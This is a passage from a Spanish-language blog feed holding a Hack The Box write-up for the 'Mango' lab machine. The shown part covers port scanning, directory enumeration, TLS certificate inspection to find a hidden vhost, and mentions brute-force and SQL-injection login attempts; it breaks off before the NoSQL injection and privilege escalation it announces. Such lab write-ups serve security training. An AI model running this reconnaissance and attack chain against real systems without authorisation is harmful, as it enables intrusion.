lectura. Hasta la próxima!</p>]]></content></item><item><title>HTB write-up: Mango</title><link>https://www.xbyte.mx/posts/htb_writeup_-_mango/</link><pubDate>Thu, 16 Apr 2020 17:26:12 -0500</pubDate><guid>https://www.xbyte.mx/posts/htb_writeup_-_mango/</guid><description>&lt;p&gt;Mango de hackthebox es una máquina que realmente disfrute resolver. Tiene de todo lo que un buen cocktail debe llevar: hielo, mongo nosqli y un chingo de tequila. Iniciamos la máquina por una enumeración de vhosts, continuamos por un nosqli en mango, obtenemos credenciales, accedemos a la máquina, nos movemos a otro usuario, y para la escalación de privilegios a root, usamos una herramienta que interactúa con el motor de scripts Nashorn.&lt;/p&gt;</description><content type="html"><![CDATA[<p>Mango de hackthebox es una máquina que realmente disfrute resolver. Tiene de todo lo que un buen cocktail debe llevar: hielo, mongo nosqli y un chingo de tequila. Iniciamos la máquina por una enumeración de vhosts, continuamos por un nosqli en mango, obtenemos credenciales, accedemos a la máquina, nos movemos a otro usuario, y para la escalación de privilegios a root, usamos una herramienta que interactúa con el motor de scripts Nashorn.</p>
<h1 id="machine-info">Machine info</h1>
<p>La información que tenemos de la máquina es:</p>
<table>
  <thead>
      <tr>
          <th>Name</th>
          <th>Maker</th>
          <th>OS</th>
          <th>IP Address</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td><img src="https://www.hackthebox.eu/storage/avatars/3609b9c723930cd9b1f855d18e92032b_thumb.png" alt="mango image"> <a href="https://www.hackthebox.eu/home/machines/profile/214">mango</a></td>
          <td><a href="https://www.hackthebox.eu/home/users/profile/13531">MrR3boot</a></td>
          <td>Linux</td>
          <td>10.10.10.162</td>
      </tr>
  </tbody>
</table>
<p>Su tarjeta de presentación es:</p>
<p><img src="/img/htb-mango/cardinfo.png" alt="cardinfo"></p>
<h1 id="port-scanning-and-service-discovery">Port Scanning and Service Discovery</h1>
<p>Iniciamos por ejecutar un <code>masscan</code> para descubrir puertos udp y tcp abiertos, y posteriormente <code>nmap</code>, para identificar servicios expuestos en estos puertos.</p>
<h2 id="masscan">masscan</h2>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>root@laptop:~# masscan -e tun0 -p0-65535,U:0-65535 --rate 500 10.10.10.162 | tee /home/tony/htb/mango/masscan.log
</span></span><span style="display:flex;"><span>Discovered open port 22/tcp on 10.10.10.162                                    
</span></span><span style="display:flex;"><span>Discovered open port 80/tcp on 10.10.10.162                                    
</span></span><span style="display:flex;"><span>Discovered open port 443/tcp on 10.10.10.162                                   
</span></span></code></pre></div><ul>
<li><code>-e tun0</code> para ejecutarlo nada mas en la interface tun0</li>
<li><code>-p0-65535,U:0-65535</code> TODOS los puertos (TCP y UDP)</li>
<li><code>--rate 500</code> para mandar 500pps y no sobre cargar la VPN ):</li>
</ul>
<p>Descubrimos 3 puertos abiertos; 22, 80 y 443. Ahora con <code>nmap</code>, identifiquemos los servicios.</p>
<h2 id="nmap-services">nmap services</h2>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>root@laptop:~# nmap -sS -sV -sC -p $(cat /home/tony/htb/mango/masscan.log | cut -d&#39; &#39; -f4 | sed &#39;s/\/tcp.*//&#39; | tr &#39;\n&#39; &#39;,&#39;) -n --open -v 10.10.10.162 -oN /home/tony/htb/mango/service.nmap
</span></span><span style="display:flex;"><span># Nmap 7.80 scan initiated Thu Mar 26 15:24:16 2020 as: nmap -sS -sV -sC -p 22,80,443, -n --open -v -oN /home/tony/htb/mango/service.nmap 10.10.10.162
</span></span><span style="display:flex;"><span>Nmap scan report for 10.10.10.162
</span></span><span style="display:flex;"><span>Host is up (0.095s latency).
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>PORT    STATE SERVICE  VERSION
</span></span><span style="display:flex;"><span>22/tcp  open  ssh      OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
</span></span><span style="display:flex;"><span>| ssh-hostkey: 
</span></span><span style="display:flex;"><span>|   2048 a8:8f:d9:6f:a6:e4:ee:56:e3:ef:54:54:6d:56:0c:f5 (RSA)
</span></span><span style="display:flex;"><span>|   256 6a:1c:ba:89:1e:b0:57:2f:fe:63:e1:61:72:89:b4:cf (ECDSA)
</span></span><span style="display:flex;"><span>|_  256 90:70:fb:6f:38:ae:dc:3b:0b:31:68:64:b0:4e:7d:c9 (ED25519)
</span></span><span style="display:flex;"><span>80/tcp  open  http     Apache httpd 2.4.29 ((Ubuntu))
</span></span><span style="display:flex;"><span>| http-methods: 
</span></span><span style="display:flex;"><span>|_  Supported Methods: HEAD GET POST OPTIONS
</span></span><span style="display:flex;"><span>|_http-server-header: Apache/2.4.29 (Ubuntu)
</span></span><span style="display:flex;"><span>|_http-title: 403 Forbidden
</span></span><span style="display:flex;"><span>443/tcp open  ssl/http Apache httpd 2.4.29 ((Ubuntu))
</span></span><span style="display:flex;"><span>| http-methods: 
</span></span><span style="display:flex;"><span>|_  Supported Methods: GET HEAD POST OPTIONS
</span></span><span style="display:flex;"><span>|_http-server-header: Apache/2.4.29 (Ubuntu)
</span></span><span style="display:flex;"><span>|_http-title: Mango | Search Base
</span></span><span style="display:flex;"><span>| ssl-cert: Subject: commonName=staging-order.mango.htb/organizationName=Mango Prv Ltd./stateOrProvinceName=None/countryName=IN
</span></span><span style="display:flex;"><span>| Issuer: commonName=staging-order.mango.htb/organizationName=Mango Prv Ltd./stateOrProvinceName=None/countryName=IN
</span></span><span style="display:flex;"><span>| Public Key type: rsa
</span></span><span style="display:flex;"><span>| Public Key bits: 2048
</span></span><span style="display:flex;"><span>| Signature Algorithm: sha256WithRSAEncryption
</span></span><span style="display:flex;"><span>| Not valid before: 2019-09-27T14:21:19
</span></span><span style="display:flex;"><span>| Not valid after:  2020-09-26T14:21:19
</span></span><span style="display:flex;"><span>| MD5:   b797 d14d 485f eac3 5cc6 2fed bb7a 2ce6
</span></span><span style="display:flex;"><span>|_SHA-1: b329 9eca 2892 af1b 5895 053b f30e 861f 1c03 db95
</span></span><span style="display:flex;"><span>|_ssl-date: TLS randomness does not represent time
</span></span><span style="display:flex;"><span>| tls-alpn: 
</span></span><span style="display:flex;"><span>|_  http/1.1
</span></span><span style="display:flex;"><span>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Read data files from: /usr/bin/../share/nmap
</span></span><span style="display:flex;"><span>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
</span></span><span style="display:flex;"><span># Nmap done at Thu Mar 26 15:24:35 2020 -- 1 IP address (1 host up) scanned in 19.04 seconds
</span></span></code></pre></div><ul>
<li><code>-sS</code> para seleccionar el escaneo TCP vía SYN</li>
<li><code>-sC</code> para que ejecute los scripts safe-discovery de nse</li>
<li><code>-sV</code> para que me traiga el banner del puerto</li>
<li><code>-p 22,80,443</code> para escanear solo los puertos TCP 80 y 22</li>
<li><code>-oN</code> para guardar el output en formato normal o salida por defecto de nmap</li>
<li><code>-n</code> para no ejecutar resoluciones</li>
<li><code>-v</code> para modo <em>verboso</em></li>
</ul>
<p>Encontramos los servicios de SSH, HTTP, HTTPS en sus puertos por defecto. Por los banners podemos deducir de momento que se trata de un servidor Ubuntu corriendo openssh 7.6p1 y apache 2.4.29. La parte interesante de este escaneo fue identificar el commonName del certificado. Llegaremos a este dato más adelante, pero la primera vez que lo vi, no le preste tanta importancia.</p>
<h1 id="web-application">Web application</h1>
<h2 id="httpie">httpie</h2>
<p>Inicio la exploración de la aplicación usando httpie y firefox+burpsuite. En algunas partes estaré utilizando httpie+burpsuite por la flexibilidad de poder usar bash.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>tony@laptop:~/htb/mango$ http 10.10.10.162
</span></span><span style="display:flex;"><span>&lt;!DOCTYPE HTML PUBLIC &#34;-//IETF//DTD HTML 2.0//EN&#34;&gt;
</span></span><span style="display:flex;"><span>&lt;html&gt;&lt;head&gt;
</span></span><span style="display:flex;"><span>&lt;title&gt;403 Forbidden&lt;/title&gt;
</span></span><span style="display:flex;"><span>&lt;/head&gt;&lt;body&gt;
</span></span><span style="display:flex;"><span>&lt;h1&gt;Forbidden&lt;/h1&gt;
</span></span><span style="display:flex;"><span>&lt;p&gt;You don&#39;t have permission to access this resource.&lt;/p&gt;
</span></span><span style="display:flex;"><span>&lt;hr&gt;
</span></span><span style="display:flex;"><span>&lt;address&gt;Apache/2.4.29 (Ubuntu) Server at 10.10.10.162 Port 80&lt;/address&gt;
</span></span><span style="display:flex;"><span>&lt;/body&gt;&lt;/html&gt;
</span></span></code></pre></div><p>En el root del servidor tenemos un <em>403</em>, así que continuemos con la búsqueda de archivos y directorios con dirsearch.</p>
<h2 id="dirsearch">dirsearch</h2>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>tony@laptop:~/htb/mango$ dirsearch http://10.10.10.162
</span></span><span style="display:flex;"><span> _|. _ _  _  _  _ _|_    v0.3.9
</span></span><span style="display:flex;"><span>(_||| _) (/_(_|| (_| )
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Extensions: php, txt, html | HTTP method: get | Threads: 50 | Wordlist size: 6733
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Error Log: /home/tony/git/dirsearch/logs/errors-20-03-27_18-54-26.log
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Target: http://10.10.10.162
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>[18:54:26] Starting:
</span></span><span style="display:flex;"><span>[18:55:12] 403 -  277B  - /server-status
</span></span><span style="display:flex;"><span>[18:55:12] 403 -  277B  - /server-status/
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Task Completed
</span></span></code></pre></div><p>El resultado que <code>dirsearch</code> nos devuelve sobre el puerto HTTP es poco significativo, así que continuemos por el puerto de HTTPS, primero indagando en el certificado.</p>
<h2 id="testssl">testssl</h2>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>tony@laptop:~/htb/mango$ testssl 10.10.10.162
</span></span><span style="display:flex;"><span> Testing server defaults (Server Hello)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> TLS extensions (standard)    &#34;renegotiation info/#65281&#34; &#34;EC point formats/#11&#34; &#34;session ticket/#35&#34; &#34;max fragment length/#1&#34;
</span></span><span style="display:flex;"><span>                              &#34;application layer protocol negotiation/#16&#34; &#34;encrypt-then-mac/#22&#34; &#34;extended master secret/#23&#34;
</span></span><span style="display:flex;"><span> Session Ticket RFC 5077 hint 300 seconds, session tickets keys seems to be rotated &lt; daily
</span></span><span style="display:flex;"><span> SSL Session ID support       yes
</span></span><span style="display:flex;"><span> Session Resumption           Tickets: yes, ID: yes
</span></span><span style="display:flex;"><span> TLS clock skew               Random values, no fingerprinting possible
</span></span><span style="display:flex;"><span> Signature Algorithm          SHA256 with RSA
</span></span><span style="display:flex;"><span> Server key size              RSA 2048 bits
</span></span><span style="display:flex;"><span> Server key usage             --
</span></span><span style="display:flex;"><span> Server extended key usage    --
</span></span><span style="display:flex;"><span> Serial / Fingerprints        AE508929A806F132 / SHA1 B3299ECA2892AF1B5895053BF30E861F1C03DB95
</span></span><span style="display:flex;"><span>                              SHA256 650052B67923042DC2C9FCA71D4430873615850CE4D41E15A4BD7F5CFB57AA58
</span></span><span style="display:flex;"><span> Common Name (CN)             staging-order.mango.htb
</span></span><span style="display:flex;"><span> subjectAltName (SAN)         missing (NOT ok) -- Browsers are complaining
</span></span><span style="display:flex;"><span> Issuer                       staging-order.mango.htb (Mango Prv Ltd. from IN)
</span></span><span style="display:flex;"><span> Trust (hostname)             certificate does not match supplied URI
</span></span><span style="display:flex;"><span> Chain of trust               NOT ok (self signed)
</span></span><span style="display:flex;"><span> EV cert (experimental)       no
</span></span><span style="display:flex;"><span> ETS/&#34;eTLS&#34;, visibility info  not present
</span></span><span style="display:flex;"><span> Certificate Validity (UTC)   182 &gt;= 60 days (2019-09-27 09:21 --&gt; 2020-09-26 09:21)
</span></span><span style="display:flex;"><span> # of certificates provided   1
</span></span><span style="display:flex;"><span> Certificate Revocation List  --
</span></span><span style="display:flex;"><span> OCSP URI                     --
</span></span><span style="display:flex;"><span>                              NOT ok -- neither CRL nor OCSP URI provided
</span></span><span style="display:flex;"><span> OCSP stapling                not offered
</span></span><span style="display:flex;"><span> OCSP must staple extension   --
</span></span><span style="display:flex;"><span> DNS CAA RR (experimental)    not offered
</span></span><span style="display:flex;"><span> Certificate Transparency     --
</span></span></code></pre></div><p>La salida de testssl es bastante extensa, así que omití información y deje únicamente lo relevante para esta máquina. Lo que sacamos de esta primera parte es que el certificado fue firmado para el dominio staging-order.mango.htb. Esta información coincide con la encontrada en el nmap, pero hasta que no hice la prueba con testssl, no cruce los conceptos de vhosts para esta máquina.</p>
<p>Realizando un request con httpie y usando el header de Host, obtenemos la siguiente salida:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>tony@laptop:~/htb/mango$ http http://10.10.10.162 &#34;Host:staging-order.mango.htb&#34;
</span></span><span style="display:flex;"><span>&lt;!DOCTYPE html&gt;
</span></span><span style="display:flex;"><span>&lt;html lang=&#34;en&#34;&gt;
</span></span><span style="display:flex;"><span>&lt;head&gt;
</span></span><span style="display:flex;"><span>&lt;meta charset=&#34;UTF-8&#34;&gt;
</span></span><span style="display:flex;"><span>&lt;link rel=&#34;mask-icon&#34; type=&#34;&#34; href=&#34;https://static.codepen.io/assets/favicon/logo-pin-8f3771b1072e3c38bd662872f6b673a722f4b3ca2421637d5596661b4e2132cc.svg&#34; color=&#34;#111&#34; /&gt;
</span></span><span style="display:flex;"><span>&lt;title&gt;Mango | Sweet &amp; Juicy&lt;/title&gt;
</span></span><span style="display:flex;"><span>&lt;style&gt;
</span></span><span style="display:flex;"><span>* {
</span></span><span style="display:flex;"><span>  box-sizing: border-box;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>body {
</span></span><span style="display:flex;"><span>  font-family: &#39;Rubik&#39;, sans-serif;
</span></span><span style="display:flex;"><span>  margin: 0;
</span></span><span style="display:flex;"><span>  padding: 0;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>.container {
</span></span><span style="display:flex;"><span>  display: flex;
</span></span><span style="display:flex;"><span>  height: 100vh;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>.left-section {
</span></span><span style="display:flex;"><span>  overflow: hidden;
</span></span><span style="display:flex;"><span>  display: flex;
</span></span><span style="display:flex;"><span>  flex-wrap: wrap;
</span></span><span style="display:flex;"><span>  flex-direction: column;
</span></span><span style="display:flex;"><span>  justify-content: center;
</span></span><span style="display:flex;"><span>  -webkit-animation-name: left-section;
</span></span><span style="display:flex;"><span>  animation-name: left-section;
</span></span><span style="display:flex;"><span>  -webkit-animation-duration: 1s;
</span></span><span style="display:flex;"><span>  animation-duration: 1s;
</span></span><span style="display:flex;"><span>  -webkit-animation-fill-mode: both;
</span></span><span style="display:flex;"><span>  animation-fill-mode: both;
</span></span><span style="display:flex;"><span>  -webkit-animation-delay: 1s;
</span></span><span style="display:flex;"><span>  animation-delay: 1s;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>.right-section {
</span></span><span style="display:flex;"><span>  flex: 1;
</span></span><span style="display:flex;"><span>  background: linear-gradient(to right, #f50629 0%, #fd9d08 100%);
</span></span><span style="display:flex;"><span>  transition: 1s;
</span></span><span style="display:flex;"><span>  background-image: url(/mango.jpg);
</span></span><span style="display:flex;"><span>  background-size: cover;
</span></span><span style="display:flex;"><span>  background-repeat: no-repeat;
</span></span><span style="display:flex;"><span>  background-position: center;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>.header &gt; h1 {
</span></span><span style="display:flex;"><span>  margin: 0;
</span></span><span style="display:flex;"><span>  color: #f50629;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>.header &gt; h4 {
</span></span><span style="display:flex;"><span>  margin-top: 10px;
</span></span><span style="display:flex;"><span>  font-weight: normal;
</span></span><span style="display:flex;"><span>  font-size: 15px;
</span></span><span style="display:flex;"><span>  color: rgba(0, 0, 0, 0.4);
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>.form {
</span></span><span style="display:flex;"><span>  max-width: 80%;
</span></span><span style="display:flex;"><span>  display: flex;
</span></span><span style="display:flex;"><span>  flex-direction: column;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>.form &gt; p {
</span></span><span style="display:flex;"><span>  text-align: right;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>.form &gt; p &gt; a {
</span></span><span style="display:flex;"><span>  color: #000;
</span></span><span style="display:flex;"><span>  font-size: 14px;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>.form-field {
</span></span><span style="display:flex;"><span>  height: 46px;
</span></span><span style="display:flex;"><span>  padding: 0 16px;
</span></span><span style="display:flex;"><span>  border: 2px solid #ddd;
</span></span><span style="display:flex;"><span>  border-radius: 4px;
</span></span><span style="display:flex;"><span>  font-family: &#39;Rubik&#39;, sans-serif;
</span></span><span style="display:flex;"><span>  outline: 0;
</span></span><span style="display:flex;"><span>  transition: .2s;
</span></span><span style="display:flex;"><span>  margin-top: 20px;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>.form-field:focus {
</span></span><span style="display:flex;"><span>  border-color: #0f7ef1;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>.form &gt; button {
</span></span><span style="display:flex;"><span>  padding: 12px 10px;
</span></span><span style="display:flex;"><span>  border: 0;
</span></span><span style="display:flex;"><span>  background: linear-gradient(to right, #f50629 0%, #fd9d08 100%);
</span></span><span style="display:flex;"><span>  border-radius: 3px;
</span></span><span style="display:flex;"><span>  margin-top: 10px;
</span></span><span style="display:flex;"><span>  color: #fff;
</span></span><span style="display:flex;"><span>  letter-spacing: 1px;
</span></span><span style="display:flex;"><span>  font-family: &#39;Rubik&#39;, sans-serif;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>.animation {
</span></span><span style="display:flex;"><span>  -webkit-animation-name: move;
</span></span><span style="display:flex;"><span>  animation-name: move;
</span></span><span style="display:flex;"><span>  -webkit-animation-duration: .4s;
</span></span><span style="display:flex;"><span>  animation-duration: .4s;
</span></span><span style="display:flex;"><span>  -webkit-animation-fill-mode: both;
</span></span><span style="display:flex;"><span>  animation-fill-mode: both;
</span></span><span style="display:flex;"><span>  -webkit-animation-delay: 2s;
</span></span><span style="display:flex;"><span>  animation-delay: 2s;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>.a1 {
</span></span><span style="display:flex;"><span>  -webkit-animation-delay: 2s;
</span></span><span style="display:flex;"><span>  animation-delay: 2s;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>.a2 {
</span></span><span style="display:flex;"><span>  -webkit-animation-delay: 2.1s;
</span></span><span style="display:flex;"><span>  animation-delay: 2.1s;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>.a3 {
</span></span><span style="display:flex;"><span>  -webkit-animation-delay: 2.2s;
</span></span><span style="display:flex;"><span>  animation-delay: 2.2s;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>.a4 {
</span></span><span style="display:flex;"><span>  -webkit-animation-delay: 2.3s;
</span></span><span style="display:flex;"><span>  animation-delay: 2.3s;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>.a5 {
</span></span><span style="display:flex;"><span>  -webkit-animation-delay: 2.4s;
</span></span><span style="display:flex;"><span>  animation-delay: 2.4s;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>.a6 {
</span></span><span style="display:flex;"><span>  -webkit-animation-delay: 2.5s;
</span></span><span style="display:flex;"><span>  animation-delay: 2.5s;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>@keyframes move {
</span></span><span style="display:flex;"><span>  0% {
</span></span><span style="display:flex;"><span>    opacity: 0;
</span></span><span style="display:flex;"><span>    visibility: hidden;
</span></span><span style="display:flex;"><span>    -webkit-transform: translateY(-40px);
</span></span><span style="display:flex;"><span>    transform: translateY(-40px);
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>  100% {
</span></span><span style="display:flex;"><span>    opacity: 1;
</span></span><span style="display:flex;"><span>    visibility: visible;
</span></span><span style="display:flex;"><span>    -webkit-transform: translateY(0);
</span></span><span style="display:flex;"><span>    transform: translateY(0);
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>@keyframes left-section {
</span></span><span style="display:flex;"><span>  0% {
</span></span><span style="display:flex;"><span>    opacity: 0;
</span></span><span style="display:flex;"><span>    width: 0;
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>  100% {
</span></span><span style="display:flex;"><span>    opacity: 1;
</span></span><span style="display:flex;"><span>    padding: 20px 40px;
</span></span><span style="display:flex;"><span>    width: 440px;
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  &lt;/style&gt;
</span></span><span style="display:flex;"><span>&lt;script&gt;
</span></span><span style="display:flex;"><span>  window.console = window.console || function(t) {};
</span></span><span style="display:flex;"><span>&lt;/script&gt;
</span></span><span style="display:flex;"><span>&lt;script&gt;
</span></span><span style="display:flex;"><span>  if (document.location.search.match(/type=embed/gi)) {
</span></span><span style="display:flex;"><span>    window.parent.postMessage(&#34;resize&#34;, &#34;*&#34;);
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>&lt;/script&gt;
</span></span><span style="display:flex;"><span>&lt;/head&gt;
</span></span><span style="display:flex;"><span>&lt;body translate=&#34;no&#34;&gt;
</span></span><span style="display:flex;"><span>&lt;!DOCTYPE html&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>&lt;html lang=&#34;en&#34;&gt;
</span></span><span style="display:flex;"><span>&lt;head&gt;
</span></span><span style="display:flex;"><span>&lt;meta charset=&#34;UTF-8&#34;&gt;
</span></span><span style="display:flex;"><span>&lt;link href=&#34;https://fonts.googleapis.com/css?family=Rubik&amp;display=swap&#34; rel=&#34;stylesheet&#34;&gt;
</span></span><span style="display:flex;"><span>&lt;link rel=&#34;stylesheet&#34; href=&#34;style.css&#34;&gt;
</span></span><span style="display:flex;"><span>&lt;/head&gt;
</span></span><span style="display:flex;"><span>&lt;body&gt;
</span></span><span style="display:flex;"><span>&lt;div class=&#34;container&#34;&gt;
</span></span><span style="display:flex;"><span>&lt;div class=&#34;left-section&#34;&gt;
</span></span><span style="display:flex;"><span>&lt;div class=&#34;header&#34;&gt;
</span></span><span style="display:flex;"><span>&lt;h1 class=&#34;animation a1&#34;&gt;Welcome Back!&lt;/h1&gt;
</span></span><span style="display:flex;"><span>&lt;h4 class=&#34;animation a2&#34;&gt;Log in for ordering Sweet &amp; Juicy Mango.&lt;/h4&gt;
</span></span><span style="display:flex;"><span>&lt;/div&gt;
</span></span><span style="display:flex;"><span>&lt;form action=&#34;&#34; method=&#34;POST&#34;&gt;
</span></span><span style="display:flex;"><span>&lt;div class=&#34;form&#34;&gt;
</span></span><span style="display:flex;"><span>&lt;input type=&#34;username&#34; name=&#34;username&#34; class=&#34;form-field animation a3&#34; placeholder=&#34;Username&#34;&gt;
</span></span><span style="display:flex;"><span>&lt;input type=&#34;password&#34; name=&#34;password&#34; class=&#34;form-field animation a4&#34; placeholder=&#34;Password&#34;&gt;
</span></span><span style="display:flex;"><span>&lt;p class=&#34;animation a5&#34;&gt;&lt;a href=&#34;#&#34;&gt;Forgot Password&lt;/a&gt;&lt;/p&gt;
</span></span><span style="display:flex;"><span>&lt;button class=&#34;animation a6&#34; value=&#34;login&#34; name=&#34;login&#34;&gt;LOGIN&lt;/button&gt;
</span></span><span style="display:flex;"><span>&lt;/form&gt;
</span></span><span style="display:flex;"><span>&lt;/div&gt;
</span></span><span style="display:flex;"><span>&lt;/div&gt;
</span></span><span style="display:flex;"><span>&lt;div class=&#34;right-section&#34;&gt;&lt;/div&gt;
</span></span><span style="display:flex;"><span>&lt;/div&gt;
</span></span><span style="display:flex;"><span>&lt;/body&gt;
</span></span><span style="display:flex;"><span>&lt;/html&gt;
</span></span><span style="display:flex;"><span>&lt;/body&gt;
</span></span><span style="display:flex;"><span>&lt;/html&gt;
</span></span></code></pre></div><p>Nice, ahora ya tenemos información sobre un portal para ordenar dulce y jugoso mango. Ñam Ñam.</p>
<p>Ahora que sabemos que probablemente estaremos trabajando sobre este subdominio, lo primero que hacemos es agregar <code>10.10.10.162    staging-order.mango.htb</code> a <code>/etc/hosts</code>, de esta manera no tenemos que reescribir el header de Host en todas las peticiones.</p>
<p>Después de descubrir la aplicación, intente ingresar con credenciales por defecto, inclusive le hice un ataque de fuerza bruta, pero por supuesto, nada funciono. Probé haciendo un bypass con un SQLi y tampoco funciono. Aquí es donde volví a las notas y la metodología que estaba siguiendo y me dí cuenta que necesitaba volver a iniciar el proceso de descubrimiento. Así que repetimos el proceso de descubrir archivos y directorios con <code>dirsearch</code>.</p>
<blockquote>
<p>Siempre hay que enumerar de manera organizada, siguiendo una metodología.</p>
</blockquote>
<h2 id="dirsearch-on-staging-order">dirsearch on staging-order</h2>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>tony@laptop:~/htb/mango$ dirsearch http://staging-order.mango.htb
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> _|. _ _  _  _  _ _|_    v0.3.9
</span></span><span style="display:flex;"><span>(_||| _) (/_(_|| (_| )
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Extensions: php, txt, html | HTTP method: get | Threads: 50 | Wordlist size: 6733
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Error Log: /home/tony/git/dirsearch/logs/errors-20-04-02_23-54-40.log
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Target: http://staging-order.mango.htb
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>[23:54:40] Starting:
</span></span><span style="display:flex;"><span>[23:54:50] 302 -    0B  - /home.php  -&gt;  index.php
</span></span><span style="display:flex;"><span>[23:54:50] 200 -    4KB - /index.php
</span></span><span style="display:flex;"><span>[23:54:50] 200 -    4KB - /index.php/login/
</span></span><span style="display:flex;"><span>[23:54:55] 403 -  288B  - /server-status
</span></span><span style="display:flex;"><span>[23:54:55] 403 -  288B  - /server-status/
</span></span><span style="display:flex;"><span>[23:54:57] 200 -    0B  - /vendor/autoload.php
</span></span><span style="display:flex;"><span>[23:54:57] 200 -    0B  - /vendor/composer/autoload_files.php
</span></span><span style="display:flex;"><span>[23:54:57] 200 -    0B  - /vendor/composer/autoload_namespaces.php
</span></span><span style="display:flex;"><span>[23:54:57] 200 -    0B  - /vendor/composer/autoload_classmap.php
</span></span><span style="display:flex;"><span>[23:54:57] 200 -    0B  - /vendor/composer/autoload_psr4.php
</span></span><span style="display:flex;"><span>[23:54:57] 200 -    0B  - /vendor/composer/ClassLoader.php
</span></span><span style="display:flex;"><span>[23:54:57] 200 -    0B  - /vendor/composer/autoload_real.php
</span></span><span style="display:flex;"><span>[23:54:57] 200 -    4KB - /vendor/composer/installed.json
</span></span><span style="display:flex;"><span>[23:54:57] 200 -    0B  - /vendor/composer/autoload_static.php
</span></span><span style="display:flex;"><span>[23:54:57] 200 -    3KB - /vendor/composer/LICENSE
</span></span></code></pre></div><p>Descubrimos que la aplicación utiliza Composer (PHP) y que podemos leer más de un archivo del proyecto. Veamos que instaló composer vía <strong>installed.json</strong>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>tony@laptop:~/htb/mango$ http http://staging-order.mango.htb/vendor/composer/installed.json
